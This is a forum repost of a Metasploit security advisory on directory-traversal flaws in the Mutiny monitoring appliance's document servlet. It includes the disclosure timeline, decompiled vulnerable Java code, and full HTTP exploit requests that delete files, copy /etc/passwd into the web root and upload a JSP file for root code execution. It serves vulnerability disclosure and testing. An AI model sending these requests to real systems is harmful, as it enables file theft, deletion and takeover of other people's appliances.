net3design Posted May 17, 2013 Report Posted May 17, 2013 Back in March we published an exploit module for Mutiny Remote Code Execution. Mutiny "is a self-contained appliance for monitoring network-attached devices such as servers, switches, routers and printers. It has been designed to be simple to use, being aimed at the person who is more interested in the actual data gathered rather than the science of gathering the data." (Source: Mutiny User Guide). That module abused CVE-2012-3001, a command injection issue in the frontend application which allowed any authenticated user, with access to the admin interface, to execute os commands with root privileges. While developing that exploit, we took a look at the last version of the Mutiny FrontEnd available at that time (5.0-1.07) and found others issues, grouped under CVE-2013-0136, which have the plus of being exploitable from any authenticated role.Vulnerabilities SummaryThe Mutiny Appliance provides a Web Frontend, where the users can configure the system and monitor the data collected by the appliance. The Frontend provides four access roles: “Super Admin”, “Administrator”, “Engineer” and “View only”. All the roles allow the user to access to the “Documents” section, where multiple weaknesses have been detected allowingTo delete any file from the remote file system with root privileges.To copy and move files in the remote file system with root privileges, allowing also to download/retrieve these files.To upload arbitrary files to the remote file system and ultimately execute arbitrary code with root privileges.Disclosure TimelineDate Description2013-03-08 Initial discovery by Juan Vazquez, Metasploit Researcher2013-03-09 Draft advisory and Metasploit module written2013-03-11 Initial disclosure to the vendor, Mutiny Technology2013-03-12 Follow-up with vendor2013-03-27 Disclosure to CERT/CC2013-05-14 Version 5.0-1.11 tested and not vulnerable to the disclosed exploitation (1)2013-05-15 Public Disclosure2013-05-15 Metasploit exploit module publishedPrior to public disclosure the last version available has been tested and the disclosed exploit techniques don't work anymore. The tested version has been "5.0-1.11 (EAGLe) - (02-05-13)". Since the vendor didn't warn us about the patch neither asked us to review the patch we can't assure the current patch is 100% confident and secure, neither have details about revisions between 5.0.1-07 and 5.0.1-11 which could be vulnerable. We encourage you to use the current Metasploit modules in order to test your Mutiny installation for the disclosed vulnerabilities.Technical AnalysisThe Web Frontend of Mutiny is provided in part by a Java Web Application. This frontend provides a "Documents" section for authenticated users for any role:The Documents functions are in part provided by a servlet named "EditDocument". This servlets provides several "Documents" functions such as upload, copy, move and delete documents:protected void doPost(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse) throws ServletException, IOException . . s = httpservletrequest.getParameter("operation"); if(ServletFileUpload.isMultipartContent(httpservletrequest)) s = "UPLOAD"; . . . if(!s.equals("NEW")) goto _L2; else goto _L1 . . . if(!s.equals("RENAME")) goto _L5; else goto _L4 . . . if(!s.equals("DELETE")) goto _L7; else goto _L6 . . . if(!s.equals("CUT") && !s.equals("COPY")) goto _L9; else goto _L8 The UPLOAD operation can be abused via a Directory Traversal vulnerability in the “uploadPath” parameter to upload arbitrary file and contents to the remote filesystem with root privileges:if(s.equals("UPLOAD")) { ServletFileUpload servletfileupload = new ServletFileUpload(new DiskFileItemFactory()); List list = null; try { list = servletfileupload.parseRequest(httpservletrequest); } catch(FileUploadException fileuploadexception) { fileuploadexception.printStackTrace(); } String s6 = null; FileItem fileitem = null; Iterator iterator = list.iterator(); do { if(!iterator.hasNext()) break; FileItem fileitem1 = (FileItem)iterator.next(); if(fileitem1.isFormField() && fileitem1.getFieldName().equals("uploadPath")) s6 = fileitem1.getString(); // User controlled else if(!fileitem1.isFormField() && fileitem1.getFieldName().equals("uploadFile")) fileitem = fileitem1; // User controlled } while(true); if(s6.length() == 0) { System.out.println("Error: uploadPath not set."); s6 = "/documents"; } if(fileitem == null) { System.out.println("Error: uploadFile not set."); } else { File file5 = new File(DocumentUtils.root, s6); // Directory Traversal File file7 = new File(file5, fileitem.getName()); file7.getParentFile().mkdirs(); file7 = DocumentUtils.getUniqueFile(file7, false); file7.createNewFile(); try { fileitem.write(file7); // Write file if(file7.exists() && file7.length() == fileitem.getSize()) flag = true; if(debug) System.out.println((new StringBuilder()).append(s).append(": ").append(file7.getPath()).toString()); } catch(Exception exception) { exception.printStackTrace(); } } } The DELETE operation is also affected by a directory traversal vulnerability in the “paths[]” parameter, which allows to delete arbitrary files with root privileges:_L5: if(!s.equals("DELETE")) goto _L7; else goto _L6 _L6: String as1[] = httpservletrequest.getParameterValues("paths[]"); // User controlled String as2[] = as1; int j = as2.length; for(int k = 0; k < j; k++) { String s7 = as2[k]; File file6 = new File(DocumentUtils.root, s7); // Directory Traversal if(!isValid(file6)) return; if(file6.isDirectory()) FileUtils.deleteDirectory(file6); // Delete directory else flag = file6.delete(); // Delete file if(debug) System.out.println((new StringBuilder()).append("DELETE: ").append(file6.getPath()).toString()); } Also the CUT and COPY operation is also affected by directory traversal vulnerabilities in the “paths[]” and “newPath” parameters, which allows to copy and move files around the remote file system with root privileges: if(!s.equals("CUT") && !s.equals("COPY")) goto _L9; else goto _L8 _L8: File file2; String as3[]; String s4 = httpservletrequest.getParameter("newPath"); file2 = new File(DocumentUtils.root, s4); // Directory Traversal in newPath as3 = httpservletrequest.getParameterValues("paths[]"); if(as3 == null) goto _L3; else goto _L10 _L10: String as4[]; int l; int i1; as4 = as3; l = as4.length; i1 = 0; _L11: File file8; File file9; FileInputStream fileinputstream; FileOutputStream fileoutputstream; if(i1 >= l) break; /* Loop/switch isn't completed */ String s8 = as4[i1]; file8 = new File(DocumentUtils.root, s8); // Directory traversal in paths[] if(!isValid(file8)) return; file9 = new File(file2, file8.getName()); // Directory traversal in newPath file9 = DocumentUtils.getUniqueFile(file9, file8.isDirectory()); if(debug) System.out.println((new StringBuilder()).append(s).append(": ").append(file9.getPath()).toString()); file9.getParentFile().mkdirs(); if(s.equals("CUT")) { flag = file8.renameTo(file9); // CUT operation affected by directory traversals break MISSING_BLOCK_LABEL_881; } if(!s.equals("COPY")) break MISSING_BLOCK_LABEL_881; if(!file9.exists()) file9.createNewFile(); fileinputstream = null; fileoutputstream = null; fileinputstream = new FileInputStream(file8); // COPY operationaffected by directory traversals fileoutputstream = new FileOutputStream(file9); byte abyte0[] = new byte[4096]; int j1; while((j1 = fileinputstream.read(abyte0)) > 0) fileoutputstream.write(abyte0, 0, j1); flag = true; fileinputstream.close(); fileoutputstream.close(); break MISSING_BLOCK_LABEL_881; Exception exception1; exception1; System.err.println(exception1.getMessage()); fileinputstream.close(); fileoutputstream.close(); break MISSING_BLOCK_LABEL_881; Exception exception2; exception2; fileinputstream.close(); fileoutputstream.close(); throw exception2; i1++; if(true) goto _L11; else goto _L3 ExploitationAfter examining the “doPost()” function from the “EditDocument” servlet, requests to abuse these functions have been built.DELETE operationThe next request allows deleting an arbitrary file from the filesystem:POST /interface/EditDocument HTTP/1.1Host: 192.168.1.177User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17Content-Length: 76Accept: */*Origin: http://192.168.1.177X-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencodedReferer: http://192.168.1.177/interface/documents.jspAccept-Language: en-usAccept-Encoding: gzip, deflateCookie: JSESSIONID=611F495538F214B351A860D32273DB89; JSESSIONIDSSO=EF00467D61F67EA2CE86010762914E4DConnection: keep-aliveProxy-Connection: keep-aliveoperation=DELETE&paths%5B%5D=../../../../test.msfIn this case the “/test.msf” will be deleted in the remote file system. The 4 level traversal is due to “DocumentUtils.root” by default pointing to “/var/MUTINY/upload/documents” in the Linux based appliance.The response to the request informs if the file deletion has been successful:HTTP/1.1 200 OKServer: Apache-Coyote/1.1X-UA-Compatible: IE=10Content-Type: application/json;charset=UTF-8Content-Length: 16Date: Fri, 08 Mar 2013 02:16:18 GMT{"success":true}COPY operationThe copy operation allows copying arbitrary files in the remote file system with root privileges. By copying arbitrary files to the default web root in the appliance it’s possible to retrieve arbitrary files.The next request allows copying the “/etc/passwd” file to the web root for mobile devices, by default located at “/usr/jakarta/tomcat/webapps/ROOT/m” in the Mutiny Linux based appliance:POST /interface/EditDocument HTTP/1.1Host: 192.168.1.177User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17Content-Length: 111Accept: */*Origin: http://192.168.1.177X-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencodedReferer: http://192.168.1.177/interface/documents.jspAccept-Language: en-usAccept-Encoding: gzip, deflateCookie: JSESSIONID=14CE95F1ED56321B4B226DF669D691C0; JSESSIONIDSSO=FA98603965548C3FB1F67BC5121A75DCConnection: keep-aliveProxy-Connection: keep-aliveoperation=COPY&paths%5B%5D=../../../../etc/passwd%00.txt&newPath=../../../../usr/jakarta/tomcat/webapps/ROOT/m/The response to the request informs if the file deletion has been successful:HTTP/1.1 200 OKServer: Apache-Coyote/1.1X-UA-Compatible: IE=10Content-Type: application/json;charset=UTF-8Content-Length: 16Date: Fri, 08 Mar 2013 04:11:17 GMT{"success":true}By accessing to *ttp://appliance/m/passwd is possible to retrieve the remote file:UPLOAD operationThe upload operation allows uploading an arbitrary file to the file system with root privileges. By uploading a JSP file to the “/usr/jakarta/tomcat/webapps/ROOT/m” default location, arbitrary Java can be executed with root privileges by later invoking the JSP file via the web interface. The next request allows uploading JSP code to the "/usr/jakarta/tomcat/webapps/ROOT/m/msf.jsp” location:POST /interface/EditDocument HTTP/1.1Host: 192.168.1.177User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17Content-Length: 491Accept: */*Origin: http://192.168.1.177X-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryPxNcR2XfK8d5gMeUReferer: http://192.168.1.177/interface/documents.jspAccept-Language: en-usAccept-Encoding: gzip, deflateCookie: JSESSIONID=611F495538F214B351A860D32273DB89; JSESSIONIDSSO=EF00467D61F67EA2CE86010762914E4DConnection: keep-aliveProxy-Connection: keep-alive------WebKitFormBoundaryPxNcR2XfK8d5gMeUContent-Disposition: form-data; name="uploadFile"; filename="msf.jsp"Content-Type: application/octet-stream<html> <head><title>Metasploit Test Page</title></head> <body> <font size="10"><%="Metasploit Test" %></font> </body></html>------WebKitFormBoundaryPxNcR2XfK8d5gMeUContent-Disposition: form-data; name="uploadPath"../../../../usr/jakarta/tomcat/webapps/ROOT/m------WebKitFormBoundaryPxNcR2XfK8d5gMeU—The response to the request informs if the file upload has been successful:By accessing to *ttp://appliance/m/msf.jsp is possible to execute the uploaded JSP code:Metasploit modulesIn order to assist vulnerability testing two modules for the Metasploit framework have been developed.mutiny_frontend_read_deleteThe “mutiny_frontend_read_delete” is an auxiliary module which abuses the DELETE and COPY operations to retrieve or delete arbitrary files from the remote system:Reading /etc/passwdDeleting remote filesmutiny_frontend_uploadThe "mutiny_frontend_upload" is an exploit module which abuses the UPLOAD operation to upload an arbitrary JSP code and an arbitrary payload embedded in an ELF file. The last one is executed through the invocation of the JSP stager:Exploits: Mutiny Vulnerabilities by Juan VazquezSursa : https://community.rapid7.com/community/metasploit/blog/2013/05/15/new-1day-exploits-mutiny-vulnerabilities Quote